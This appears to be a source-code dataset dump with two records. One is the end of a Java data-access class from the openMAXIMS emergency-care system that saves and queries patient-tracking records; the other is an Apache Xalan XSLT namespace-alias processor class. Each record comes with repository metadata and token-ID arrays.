if (seenByHcpToSave != null && trackingToSave == null)
{
if (!seenByHcpToSave.isValidated())
throw new DomainRuntimeException("SeenByHCPVo Not Validated.");
SeenByHCP domainSeenByHcpToSave = SeenByHCPVoAssembler.extractSeenByHCP(factory, seenByHcpToSave);
factory.save(domainSeenByHcpToSave);
return SeenByHCPVoAssembler.create(domainSeenByHcpToSave);
}
else if (seenByHcpToSave == null && trackingToSave != null)
{
if (!trackingToSave.isValidated())
throw new DomainRuntimeException("TrackingForSeenByHCPVoAssembler Not Validated.");
Tracking domainTrackingforSeenByHcp = TrackingForSeenByHCPVoAssembler.extractTracking(factory, trackingToSave);
factory.save(domainTrackingforSeenByHcp);
TrackingForSeenByHCPVo track = TrackingForSeenByHCPVoAssembler.create(domainTrackingforSeenByHcp);
if (track != null)
return track.getSeenBy();
}
else if (seenByHcpToSave != null && trackingToSave != null)
{
if (!seenByHcpToSave.isValidated())
throw new DomainRuntimeException("TrackingForReferalToSpecialtyVo Not Validated.");
if (!trackingToSave.isValidated())
throw new DomainRuntimeException("TrackingForAllocatedMedicVo Not Validated.");
Tracking domainTrackingforSeenByHcp = TrackingForSeenByHCPVoAssembler.extractTracking(factory, trackingToSave);
factory.save(domainTrackingforSeenByHcp);
SeenByHCP domainSeenByHcpToSave = SeenByHCPVoAssembler.extractSeenByHCP(factory, seenByHcpToSave);
factory.save(domainSeenByHcpToSave);
return SeenByHCPVoAssembler.create(domainSeenByHcpToSave);
}
return null;
}
public Boolean isStale(ims.emergency.vo.SeenByHCPVo seenByHcp)
{
if (seenByHcp == null || seenByHcp.getID_SeenByHCP() == null)
{
throw new CodingRuntimeException("Cannot get ReferralToSpecialtyTeamVo on null Id ");
}
DomainFactory factory = getDomainFactory();
SeenByHCP domainSeenByToSave = (SeenByHCP) factory.getDomainObject(SeenByHCP.class, seenByHcp.getID_SeenByHCP());
if (domainSeenByToSave == null)
{
return true;
}
if (domainSeenByToSave.getVersion() > seenByHcp.getVersion_SeenByHCP())
{
return true;
}
return false;
}
public ims.framework.utils.DateTime getAttendanceRegistrationDateTime(ims.core.admin.vo.CareContextRefVo careContextRef)
{
if (careContextRef == null || careContextRef.getID_CareContext() == null)
{
throw new CodingRuntimeException("Cannot get AllocatedMedicVoCollection on null Id for CareContext ");
}
DomainFactory factory = getDomainFactory();
StringBuffer hql = new StringBuffer();
hql.append("select att from EmergencyAttendance as att where att.careContext.id = :careContextID ");
List<?> list = factory.find(hql.toString(), new String[] { "careContextID" }, new Object[] { careContextRef.getID_CareContext() });
return EmergencyAttendanceForTrackingVoAssembler.createEmergencyAttendanceForTrackingVoCollectionFromEmergencyAttendance(list).get(0).getRegistrationDateTime();
}
public ims.emergency.vo.TrackingForSeenByHCPVo getTracking(ims.emergency.vo.TrackingRefVo trackingRef)
{
if (trackingRef == null || trackingRef.getID_Tracking() == null)
{
throw new CodingRuntimeException("Cannot get TrackingAreaRefVo on null Id for Tracking ");
}
DomainFactory factory = getDomainFactory();
StringBuffer hql = new StringBuffer();
hql.append("select tracking from Tracking as tracking where tracking.id = :trackingID ");
List<?> list = factory.find(hql.toString(), new String[] { "trackingID" }, new Object[] { trackingRef.getID_Tracking() });
if (list!=null && list.size()>0)
{
return TrackingForSeenByHCPVoAssembler.create((Tracking) list.get(0));
}
return null;
}
public Boolean isMostRecentRecordCompleted(ims.core.admin.vo.CareContextRefVo careContextRef)
{
// TODO: Add your code here and change the return value.
return null;
}
public SeenByHCPVo getUncompletedSeenByHCPCareContext(CareContextRefVo careContextRef)
{
if (careContextRef == null || careContextRef.getID_CareContext() == null)
{
throw new CodingRuntimeException("Cannot get SeenByHCPVoCollection on null Id for CareContext ");
}
DomainFactory factory = getDomainFactory();
StringBuffer hql = new StringBuffer();
hql.append("select allSeenBy from SeenByHCP as allSeenBy where allSeenBy.attendance.id = :attID and allSeenBy.completedDateTime is null order by allSeenBy.allocatedDateTime desc ");
List<?> list = factory.find(hql.toString(), new String[] { "attID" }, new Object[] { careContextRef.getID_CareContext() });
if (list!=null && list.size()>0)
return SeenByHCPVoAssembler.create((SeenByHCP)list.get(0));
return null;
}
}
| 8,988
|
Java
|
.java
|
IMS-MAXIMS/openMAXIMS
| 61
| 50
| 23
|
2014-06-12T12:04:02Z
|
2020-07-31T09:34:49Z
|
b76bda19891d3ed8093a0797fc48fe1097fca886e4e733148de6cc7e7579d681
|
[
325,
19989,
8689,
222,
16802,
42053,
607,
222,
16802,
244,
2657,
327,
72,
46,
350,
55,
53,
54,
57,
67,
244,
350,
2348,
88,
7490,
2348,
88,
67,
22768,
607,
222,
16802,
42053,
607,
222,
16802,
244,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
281,
607,
222,
16802,
244,
580,
1549,
341,
5974,
451,
341,
6994,
30994,
6153,
5062,
1196,
641,
2281,
607,
222,
16802,
244,
9582,
829,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
981,
607,
222,
16802,
244,
1196,
49,
575,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
10094,
607,
244,
222,
16802,
42053,
607,
222,
16802,
244,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
2052,
607,
222,
16802,
244,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
2281,
607,
222,
16802,
244,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
1485,
607,
222,
16802,
244,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
7223,
607,
222,
16802,
42053,
607,
222,
16802,
244,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
607,
222,
16802,
244,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
283,
607,
222,
16802,
42053,
607,
222,
325,
19989,
8689,
222,
16802,
10207,
77,
222,
325,
1369,
1361,
1616,
4741,
829,
5463,
290,
285,
7709,
572,
122,
1493,
457,
2758,
15606,
10584,
327,
1687,
244,
54,
51,
61,
53,
1984,
244,
57,
60,
61,
58,
51,
55,
56,
58,
53,
55,
46,
222,
325,
2657,
327,
72,
46,
244,
54,
62,
62,
58,
50,
55,
53,
54,
56,
457,
2758,
7490,
2348,
88,
51,
3381,
4760,
5225,
51,
222,
222,
1337,
3987,
120,
51,
423,
37770,
51,
4136,
51,
3126,
64,
222,
222,
485,
3987,
120,
51,
1284,
51,
2317,
51,
2103,
51,
20646,
1237,
2099,
12536,
64,
222,
485,
3987,
120,
51,
4136,
51,
5048,
2232,
64,
222,
485,
3987,
120,
51,
4136,
51,
11453,
51,
5048,
19296,
64,
222,
485,
3987,
120,
51,
4136,
51,
11453,
51,
520,
1572,
976,
1002,
64,
222,
485,
3987,
120,
51,
423,
37770,
51,
4136,
51,
1460,
51,
3126,
51,
1778,
1363,
28698,
1103,
2199,
7375,
3742,
3499,
64,
222,
485,
3987,
120,
51,
423,
37770,
51,
4136,
51,
5754,
51,
28698,
1103,
77,
2973,
64,
222,
485,
3987,
120,
51,
423,
37770,
51,
4136,
51,
5754,
51,
15112,
64,
222,
485,
3987,
120,
51,
423,
37770,
51,
2103,
51,
28698,
1103,
77,
2973,
12536,
64,
222,
485,
3987,
120,
51,
423,
37770,
51,
2103,
51,
15112,
1580,
28698,
1103,
77,
2973,
12536,
64,
222,
485,
3987,
120,
51,
423,
37770,
51,
2103,
51,
4136,
51,
74,
44840,
42190,
1580,
15112,
12536,
24277,
64,
222,
485,
3987,
120,
51,
423,
37770,
51,
2103,
51,
4136,
51,
28698,
1103,
77,
2973,
12536,
24277,
64,
222,
485,
3987,
120,
51,
423,
37770,
51,
2103,
51,
4136,
51,
15112,
1580,
28698,
1103,
77,
2973,
12536,
24277,
64,
222,
485,
3987,
120,
51,
2863,
51,
11453,
51,
27406,
19296,
64,
222,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
222,
942,
462,
11918,
28698,
1103,
2199,
7375,
3742,
3499,
2041,
3787,
1363,
28698,
1103,
2199,
7375,
3742,
3499,
222,
128,
499,
221,
2072,
924,
1175,
1964,
19896,
299,
244,
54,
81,
64,
499,
221,
942,
3987,
120,
51,
423,
37770,
51,
2103,
51,
28698,
1103,
77,
2973,
12536,
2272,
16721,
28698,
1103,
77,
2973,
45,
16178,
51,
1284,
51,
2317,
51,
2103,
51,
20646,
1237,
2099,
12536,
9412,
1237,
2099,
46,
222,
221,
128,
376,
221,
344,
327,
12818,
1237,
2099,
630,
762,
1293,
9412,
1237,
2099,
51,
37541,
100,
20646,
1237,
365,
630,
762,
46,
376,
221,
128,
374,
221,
5267,
556,
41942,
19296,
459,
11400,
640,
2171,
291,
1103,
77,
2973,
12536,
2272,
563,
762,
4949,
456,
36320,
1237,
7173,
376,
221,
130,
1332,
221,
5048,
2232,
7769,
299,
640,
5048,
2232,
492,
1332,
221,
35285,
439,
1383,
299,
556,
21917,
492,
376,
221,
109,
1383,
51,
1713,
459,
1632,
1187,
28698,
1103,
664,
2171,
291,
1103,
77,
2973,
641,
1187,
28698,
1103,
2174,
1187,
28698,
1103,
51,
39276,
51,
333,
299,
518,
3150,
798,
2554,
829,
1187,
28698,
1103,
51,
21483,
4861,
5615,
7173,
1332,
221,
739,
11667,
1168,
299,
7769,
51,
1828,
45,
109,
1383,
51,
3127,
1046,
556,
910,
1197,
320,
332,
3150,
798,
39,
820,
556,
2210,
1197,
320,
9412,
1237,
2099,
51,
37541,
100,
20646,
1237,
365,
1141,
1332,
221,
620,
2171,
291,
1103,
77,
2973,
12536,
24277,
51,
1315,
28698,
1103,
77,
2973,
12536,
2272,
1811,
28698,
1103,
77,
2973,
45,
687,
312,
222,
221,
130,
499,
221,
942,
3987,
120,
51,
423,
37770,
51,
2103,
51,
28698,
1103,
77,
2973,
12536,
640,
28698,
1103,
77,
2973,
45,
16178,
51,
423,
37770,
51,
2103,
51,
28698,
1103,
77,
2973,
2099,
12536,
10955,
1103,
77,
2973,
46,
222,
221,
128,
376,
221,
344,
327,
18458,
1103,
77,
2973,
630,
762,
1293,
10955,
1103,
77,
2973,
51,
37541,
100,
28698,
1103,
77,
2973,
365,
630,
762,
46,
376,
221,
128,
374,
221,
5267,
556,
41942,
19296,
459,
11400,
640,
2171,
291,
1103,
77,
2973,
12536,
563,
762,
4949,
7173,
376,
221,
130,
1332,
221,
5048,
2232,
7769,
299,
640,
5048,
2232,
492,
1332,
221,
28698,
1103,
77,
2973,
5900,
28698,
1103,
299,
327,
28698,
1103,
77,
2973,
46,
7769,
51,
390,
5048,
976,
45,
28698,
1103,
77,
2973,
51,
842,
49,
10955,
1103,
77,
2973,
51,
37541,
100,
28698,
1103,
77,
2973,
1052,
1332,
221,
620,
2171,
291,
1103,
77,
2973,
12536,
24277,
51,
1315,
45,
4136,
28698,
1103,
312,
222,
221,
130,
499,
221,
942,
2171,
291,
1103,
77,
2973,
12536,
4166,
45,
28698,
1103,
77,
2973,
12536,
10955,
1103,
77,
2217,
724,
5134,
49,
35472,
1580,
28698,
1103,
77,
2973,
12536,
15549,
724,
5134,
49,
2171,
291,
1103,
77,
2973,
12536,
10955,
1103,
77,
2217,
11390,
17539,
1482,
8557,
46,
2589,
1277,
1572,
976,
1002,
222,
221,
128,
376,
221,
344,
327,
18458,
1103,
77,
2217,
724,
5134,
630,
762,
979,
15549,
724,
5134,
630,
762,
46,
374,
221,
5267,
556,
41942,
19296,
459,
11400,
4166,
762,
7911,
26155,
724,
11506,
637,
8249,
12536,
575,
35472,
1580,
8806,
298,
724,
11506,
637,
12536,
7173,
1332,
221,
5048,
2232,
7769,
299,
640,
5048,
2232,
492,
1332,
221,
344,
327,
18458,
1103,
77,
2217,
11390,
17539,
1482,
8557,
6917,
1710,
46,
376,
221,
128,
374,
221,
28698,
1103,
77,
2973,
5900,
28698,
1103,
77,
2217,
8557,
299,
2171,
291,
1103,
77,
2973,
12536,
24277,
51,
8320,
28698,
1103,
77,
2973,
45,
5802,
49,
10955,
1103,
77,
2217,
11390,
17539,
1482,
8557,
312,
374,
221,
5802,
51,
2882,
45,
4136,
28698,
1103,
77,
2217,
8557,
312,
376,
221,
130,
4102,
221,
344,
327,
18458,
1103,
77,
2217,
724,
5134,
882,
762,
979,
15549,
724,
5134,
630,
762,
46,
376,
221,
128,
374,
221,
344,
1445,
18458,
1103,
77,
2217,
724,
5134,
51,
13431,
751,
1177,
621,
221,
5267,
556,
14064,
19296,
459,
28698,
1103,
77,
2973,
12536,
3204,
5397,
751,
5377,
2556,
221,
28698,
1103,
77,
2973,
5900,
28698,
1103,
77,
2217,
724,
5134,
299,
2171,
291,
1103,
77,
2973,
12536,
24277,
51,
8320,
28698,
1103,
77,
2973,
45,
5802,
49,
10955,
1103,
77,
2217,
724,
5134,
312,
374,
221,
5802,
51,
2882,
45,
4136,
28698,
1103,
77,
2217,
724,
5134,
312,
2556,
221,
620,
2171,
291,
1103,
77,
2973,
12536,
24277,
51,
1315,
45,
4136,
28698,
1103,
77,
2217,
724,
5134,
312,
23120,
221,
130,
376,
221,
728,
434,
327,
18458,
1103,
77,
2217,
724,
5134,
630,
762,
979,
15549,
724,
5134,
882,
762,
46,
376,
221,
128,
374,
221,
344,
1445,
17092,
724,
5134,
51,
13431,
751,
1177,
621,
221,
5267,
556,
14064,
19296,
459,
15112,
1580,
28698,
1103,
77,
2973,
12536,
24277,
3204,
5397,
751,
5377,
2556,
221,
15112,
5900,
15112,
999,
28698,
1103,
77,
2217,
299,
35472,
1580,
28698,
1103,
77,
2973,
12536,
24277,
51,
8320,
15112,
45,
5802,
49,
15549,
724,
5134,
312,
374,
221,
5802,
51,
2882,
45,
4136,
15112,
999,
28698,
1103,
77,
2217,
312,
2556,
221,
15112,
1580,
28698,
1103,
77,
2973,
12536,
4574,
299,
35472,
1580,
28698,
1103,
77,
2973,
12536,
24277,
51,
1315,
45,
4136,
15112,
999,
28698,
1103,
77,
2217,
312,
2556,
221,
344,
327,
4402,
882,
762,
46,
621,
221,
620,
4574,
51,
390,
28698,
1103,
492,
376,
221,
130,
376,
221,
728,
434,
327,
18458,
1103,
77,
2217,
724,
5134,
882,
762,
979,
15549,
724,
5134,
882,
762,
46,
376,
221,
128,
374,
221,
344,
1445,
18458,
1103,
77,
2217,
724,
5134,
51,
13431,
751,
1177,
621,
221,
5267,
556,
14064,
19296,
459,
15112,
1580,
8806,
298,
724,
11506,
637,
12536,
3204,
5397,
751,
5377,
2556,
221,
344,
1445,
17092,
724,
5134,
51,
13431,
751,
1177,
621,
221,
5267,
556,
14064,
19296,
459,
15112,
1580,
33456,
8676,
314,
12536,
3204,
5397,
751,
5377,
2556,
221,
15112,
5900,
15112,
999,
28698,
1103,
77,
2217,
299,
35472,
1580,
28698,
1103,
77,
2973,
12536,
24277,
51,
8320,
15112,
45,
5802,
49,
15549,
724,
5134,
312,
374,
221,
5802,
51,
2882,
45,
4136,
15112,
999,
28698,
1103,
77,
2217,
312,
2556,
221,
28698,
1103,
77,
2973,
5900,
28698,
1103,
77,
2217,
724,
5134,
299,
2171,
291,
1103,
77,
2973,
12536,
24277,
51,
8320,
28698,
1103,
77,
2973,
45,
5802,
49,
10955,
1103,
77,
2217,
724,
5134,
312,
374,
221,
5802,
51,
2882,
45,
4136,
28698,
1103,
77,
2217,
724,
5134,
312,
2556,
221,
620,
2171,
291,
1103,
77,
2973,
12536,
24277,
51,
1315,
45,
4136,
28698,
1103,
77,
2217,
724,
5134,
312,
376,
221,
130,
1332,
221,
620,
762,
64,
499,
221,
130,
499,
221,
942,
5080,
458,
520,
1572,
45,
16178,
51,
423,
37770,
51,
2103,
51,
28698,
1103,
77,
2973,
12536,
10955,
1103,
77,
2217,
46,
222,
221,
128,
376,
221,
344,
327,
18458,
1103,
77,
2217,
630,
762,
1293,
10955,
1103,
77,
2217,
51,
37541,
100,
28698,
1103,
77,
2973,
365,
630,
762,
46,
376,
221,
128,
374,
221,
5267,
556,
41942,
19296,
459,
11400,
640,
7911,
26155,
724,
11506,
637,
8249,
12536,
563,
762,
4949,
7173,
376,
221,
130,
1332,
221,
5048,
2232,
7769,
299,
640,
5048,
2232,
492,
376,
221,
28698,
1103,
77,
2973,
5900,
28698,
1103,
724,
5134,
299,
327,
28698,
1103,
77,
2973,
46,
7769,
51,
390,
5048,
976,
45,
28698,
1103,
77,
2973,
51,
842,
49,
10955,
1103,
77,
2217,
51,
37541,
100,
28698,
1103,
77,
2973,
1052,
1332,
221,
344,
327,
4136,
28698,
1103,
724,
5134,
630,
762,
46,
376,
221,
128,
374,
221,
620,
878,
64,
376,
221,
130,
1332,
221,
344,
327,
4136,
28698,
1103,
724,
5134,
51,
31982,
365,
868,
10955,
1103,
77,
2217,
51,
31982,
100,
28698,
1103,
77,
2973,
1177,
376,
221,
128,
374,
221,
620,
878,
64,
376,
221,
130,
1332,
221,
620,
920,
64,
222,
221,
130,
499,
221,
942,
3987,
120,
51,
2863,
51,
2324,
51,
4861,
640,
42190,
11509,
4861,
45,
16178,
51,
1284,
51,
2317,
51,
2103,
51,
20646,
1237,
2099,
12536,
9412,
1237,
2099,
46,
222,
221,
128,
376,
221,
344,
327,
12818,
1237,
2099,
630,
762,
1293,
9412,
1237,
2099,
51,
37541,
100,
20646,
1237,
365,
630,
762,
46,
376,
221,
128,
374,
221,
5267,
556,
41942,
19296,
459,
11400,
640,
14599,
751,
8676,
314,
12536,
2272,
563,
762,
4949,
456,
36320,
1237,
7173,
376,
221,
130,
1332,
221,
5048,
2232,
7769,
299,
640,
5048,
2232,
492,
1332,
221,
35285,
439,
1383,
299,
556,
21917,
492,
376,
221,
109,
1383,
51,
1713,
459,
1632,
3725,
664,
535,
44840,
42190,
641,
3725,
2174,
3725,
51,
12818,
1237,
51,
333,
299,
518,
12818,
1237,
798,
7173,
1332,
221,
739,
11667,
1168,
299,
7769,
51,
1828,
45,
109,
1383,
51,
3127,
1046,
556,
910,
1197,
320,
332,
12818,
1237,
798,
39,
820,
556,
2210,
1197,
320,
9412,
1237,
2099,
51,
37541,
100,
20646,
1237,
365,
1141,
1332,
221,
620,
535,
44840,
42190,
1580,
15112,
12536,
24277,
51,
1315,
74,
44840,
42190,
1580,
15112,
12536,
2272,
1811,
74,
44840,
42190,
45,
687,
566,
390,
45,
53,
566,
390,
11509,
4861,
492,
222,
221,
130,
499,
221,
942,
3987,
120,
51,
423,
37770,
51,
2103,
51,
15112,
1580,
28698,
1103,
77,
2973,
12536,
640,
15112,
45,
16178,
51,
423,
37770,
51,
2103,
51,
15112,
2099,
12536,
15549,
2099,
46,
222,
221,
128,
376,
221,
344,
327,
17092,
2099,
630,
762,
1293,
15549,
2099,
51,
37541,
100,
15112,
365,
630,
762,
46,
376,
221,
128,
374,
221,
5267,
556,
41942,
19296,
459,
11400,
640,
35472,
5585,
2099,
12536,
563,
762,
4949,
456,
35472,
7173,
376,
221,
130,
1332,
221,
5048,
2232,
7769,
299,
640,
5048,
2232,
492,
1332,
221,
35285,
439,
1383,
299,
556,
21917,
492,
376,
221,
109,
1383,
51,
1713,
459,
1632,
15549,
664,
35472,
641,
15549,
2174,
15549,
51,
333,
299,
518,
17092,
798,
7173,
1332,
221,
739,
11667,
1168,
299,
7769,
51,
1828,
45,
109,
1383,
51,
3127,
1046,
556,
910,
1197,
320,
332,
17092,
798,
39,
820,
556,
2210,
1197,
320,
15549,
2099,
51,
37541,
100,
15112,
365,
1141,
15778,
221,
344,
327,
687,
6917,
1710,
979,
1168,
51,
911,
15355,
53,
46,
376,
221,
128,
374,
221,
620,
35472,
1580,
28698,
1103,
77,
2973,
12536,
24277,
51,
1315,
1181,
15112,
46,
1168,
51,
390,
45,
53,
894,
376,
221,
130,
1332,
221,
620,
762,
64,
222,
221,
130,
499,
221,
942,
5080,
458,
20142,
20311,
3171,
8557,
45,
16178,
51,
1284,
51,
2317,
51,
2103,
51,
20646,
1237,
2099,
12536,
9412,
1237,
2099,
46,
222,
221,
128,
376,
221,
325,
4314,
63,
2242,
1390,
1361,
2464,
480,
1557,
341,
461,
804,
51,
376,
221,
620,
762,
64,
222,
221,
130,
499,
221,
942,
2171,
291,
1103,
77,
2973,
12536,
640,
1079,
14908,
28698,
1103,
77,
2973,
20646,
1237,
45,
20646,
1237,
2099,
12536,
9412,
1237,
2099,
46,
222,
221,
128,
376,
221,
344,
327,
12818,
1237,
2099,
630,
762,
1293,
9412,
1237,
2099,
51,
37541,
100,
20646,
1237,
365,
630,
762,
46,
376,
221,
128,
374,
221,
5267,
556,
41942,
19296,
459,
11400,
640,
2171,
291,
1103,
77,
2973,
12536,
2272,
563,
762,
4949,
456,
36320,
1237,
7173,
376,
221,
130,
1332,
221,
5048,
2232,
7769,
299,
640,
5048,
2232,
492,
1332,
221,
35285,
439,
1383,
299,
556,
21917,
492,
376,
221,
109,
1383,
51,
1713,
459,
1632,
1187,
28698,
1103,
664,
2171,
291,
1103,
77,
2973,
641,
1187,
28698,
1103,
2174,
1187,
28698,
1103,
51,
39276,
51,
333,
299,
518,
3150,
798,
480,
1187,
28698,
1103,
51,
14908,
4861,
458,
762,
244,
2554,
829,
1187,
28698,
1103,
51,
21483,
4861,
5615,
7173,
1332,
221,
739,
11667,
1168,
299,
7769,
51,
1828,
45,
109,
1383,
51,
3127,
1046,
556,
910,
1197,
320,
332,
3150,
798,
39,
820,
556,
2210,
1197,
320,
9412,
1237,
2099,
51,
37541,
100,
20646,
1237,
365,
1141,
1332,
221,
344,
327,
687,
6917,
1710,
979,
1168,
51,
911,
15355,
53,
46,
374,
221,
620,
2171,
291,
1103,
77,
2973,
12536,
24277,
51,
1315,
1181,
28698,
1103,
77,
2973,
46,
687,
51,
390,
45,
53,
894,
4102,
221,
620,
762,
64,
222,
221,
130,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 2,530
| true
| 70.794393
| true
| true
|
ProcessorNamespaceAlias.java
|
/FileExtraction/Java_unseen/srnsw_xena/xena/ext/src/xalan-j_2_7_1/src/org/apache/xalan/processor/ProcessorNamespaceAlias.java
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* $Id$
*/
package org.apache.xalan.processor;
import org.apache.xalan.res.XSLTErrorResources;
import org.apache.xalan.templates.NamespaceAlias;
import org.xml.sax.Attributes;
/**
* TransformerFactory for xsl:namespace-alias markup.
* A stylesheet can use the xsl:namespace-alias element to
* declare that one namespace URI is an alias for another namespace URI.
* <pre>
* <!ELEMENT xsl:namespace-alias EMPTY>
* <!ATTLIST xsl:namespace-alias
* stylesheet-prefix CDATA #REQUIRED
* result-prefix CDATA #REQUIRED
* >
* </pre>
* @see <a href="http://www.w3.org/TR/xslt#dtd">XSLT DTD</a>
* @see <a href="http://www.w3.org/TR/xslt#literal-result-element">literal-result-element in XSLT Specification</a>
*/
class ProcessorNamespaceAlias extends XSLTElementProcessor
{
static final long serialVersionUID = -6309867839007018964L;
/**
* Receive notification of the start of an xsl:namespace-alias element.
*
* @param handler The calling StylesheetHandler/TemplatesBuilder.
* @param uri The Namespace URI, or the empty string if the
* element has no Namespace URI or if Namespace
* processing is not being performed.
* @param localName The local name (without prefix), or the
* empty string if Namespace processing is not being
* performed.
* @param rawName The raw XML 1.0 name (with prefix), or the
* empty string if raw names are not available.
* @param attributes The attributes attached to the element. If
* there are no attributes, it shall be an empty
* Attributes object.
*/
public void startElement(
StylesheetHandler handler, String uri, String localName, String rawName, Attributes attributes)
throws org.xml.sax.SAXException
{
final String resultNS;
NamespaceAlias na = new NamespaceAlias(handler.nextUid());
setPropertiesFromAttributes(handler, rawName, attributes, na);
String prefix = na.getStylesheetPrefix();
if(prefix.equals("#default"))
{
prefix = "";
na.setStylesheetPrefix(prefix);
}
String stylesheetNS = handler.getNamespaceForPrefix(prefix);
na.setStylesheetNamespace(stylesheetNS);
prefix = na.getResultPrefix();
if(prefix.equals("#default"))
{
prefix = "";
na.setResultPrefix(prefix);
resultNS = handler.getNamespaceForPrefix(prefix);
if(null == resultNS)
handler.error(XSLTErrorResources.ER_INVALID_NAMESPACE_URI_VALUE_FOR_RESULT_PREFIX_FOR_DEFAULT, null, null);
}
else
{
resultNS = handler.getNamespaceForPrefix(prefix);
if(null == resultNS)
handler.error(XSLTErrorResources.ER_INVALID_NAMESPACE_URI_VALUE_FOR_RESULT_PREFIX, new Object[] {prefix}, null);
}
na.setResultNamespace(resultNS);
handler.getStylesheet().setNamespaceAlias(na);
handler.getStylesheet().appendChild(na);
}
}
| 3,804
|
Java
|
.java
|
srnsw/xena
| 38
| 9
| 0
|
2011-07-06T23:59:58Z
|
2011-07-07T04:30:15Z
|
8287a7d2806b6b9e1efc2baaf816d20084ee32d6f0575dfacb3e2b3e4184ca5b
|
[
1127,
222,
338,
4773,
391,
341,
3954,
3870,
7120,
327,
17888,
46,
1549,
1611,
222,
338,
575,
1851,
13890,
3553,
15153,
51,
2819,
341,
15077,
822,
222,
338,
2744,
642,
477,
1409,
456,
5408,
2490,
222,
338,
12052,
5550,
13677,
51,
906,
18011,
12815,
477,
822,
222,
338,
391,
863,
1549,
341,
3954,
1196,
49,
3050,
244,
55,
51,
53,
327,
1402,
244,
332,
3801,
742,
222,
338,
863,
1648,
666,
813,
477,
822,
2959,
347,
4960,
642,
341,
1196,
51,
222,
338,
2469,
1648,
4245,
331,
1948,
451,
341,
1196,
840,
222,
338,
222,
338,
281,
1930,
574,
1516,
51,
2121,
51,
1107,
52,
4205,
52,
4106,
50,
55,
51,
53,
222,
338,
222,
338,
5416,
2147,
829,
4568,
4940,
575,
5129,
391,
347,
4144,
49,
2951,
222,
338,
2744,
1549,
341,
1196,
458,
2744,
563,
619,
332,
1117,
2771,
39,
5128,
49,
222,
338,
4213,
3912,
1895,
5186,
2258,
2979,
4489,
49,
3173,
3927,
575,
4506,
51,
222,
338,
2819,
341,
1196,
456,
341,
2835,
2940,
5139,
4243,
480,
222,
338,
5191,
1549,
341,
1196,
51,
222,
588,
222,
1127,
222,
338,
417,
625,
41,
222,
588,
222,
1337,
1105,
51,
2121,
51,
125,
17679,
51,
10093,
64,
222,
222,
485,
1105,
51,
2121,
51,
125,
17679,
51,
595,
51,
93,
3910,
89,
943,
6061,
64,
222,
485,
1105,
51,
2121,
51,
125,
17679,
51,
8887,
51,
5923,
7892,
64,
222,
485,
1105,
51,
2608,
51,
31965,
51,
5097,
64,
222,
222,
1350,
222,
338,
35010,
2232,
456,
837,
2021,
63,
2029,
50,
7910,
21859,
51,
222,
338,
418,
41330,
902,
813,
341,
837,
2021,
63,
2029,
50,
7910,
2016,
391,
222,
338,
8874,
708,
1611,
3596,
7417,
458,
619,
8816,
456,
4691,
3596,
7417,
51,
222,
338,
350,
1023,
67,
222,
338,
29123,
14360,
837,
2021,
63,
2029,
50,
7910,
29390,
67,
222,
338,
29123,
12743,
4625,
837,
2021,
63,
2029,
50,
7910,
222,
338,
280,
41330,
50,
4271,
409,
4629,
607,
22422,
222,
338,
280,
1074,
50,
4271,
409,
4629,
607,
22422,
222,
338,
868,
222,
338,
594,
1023,
67,
222,
338,
496,
2987,
350,
102,
995,
366,
544,
574,
1516,
51,
124,
56,
51,
1107,
52,
1328,
52,
13078,
121,
40,
24842,
432,
93,
3910,
89,
493,
3202,
396,
102,
67,
222,
338,
496,
2987,
350,
102,
995,
366,
544,
574,
1516,
51,
124,
56,
51,
1107,
52,
1328,
52,
13078,
121,
40,
7549,
50,
1285,
50,
2559,
432,
7549,
50,
1285,
50,
2559,
347,
1618,
3910,
89,
30158,
396,
102,
67,
222,
588,
222,
842,
28847,
5923,
7892,
2041,
1618,
3910,
89,
1325,
6872,
222,
128,
303,
924,
1175,
1964,
19896,
299,
449,
59,
56,
53,
62,
61,
59,
60,
61,
56,
62,
53,
53,
60,
53,
54,
61,
62,
59,
57,
81,
64,
736,
1041,
682,
338,
26496,
9203,
451,
341,
1496,
451,
619,
837,
2021,
63,
2029,
50,
7910,
2016,
51,
682,
338,
682,
338,
496,
772,
4908,
906,
8294,
33629,
2708,
1985,
52,
15550,
1812,
51,
682,
338,
496,
772,
8219,
906,
18694,
7417,
49,
575,
341,
3517,
821,
434,
341,
682,
338,
370,
2016,
1421,
1307,
18694,
7417,
575,
434,
18694,
682,
338,
370,
8220,
458,
666,
4019,
13594,
51,
682,
338,
496,
772,
2212,
577,
906,
2212,
655,
327,
12670,
5216,
490,
575,
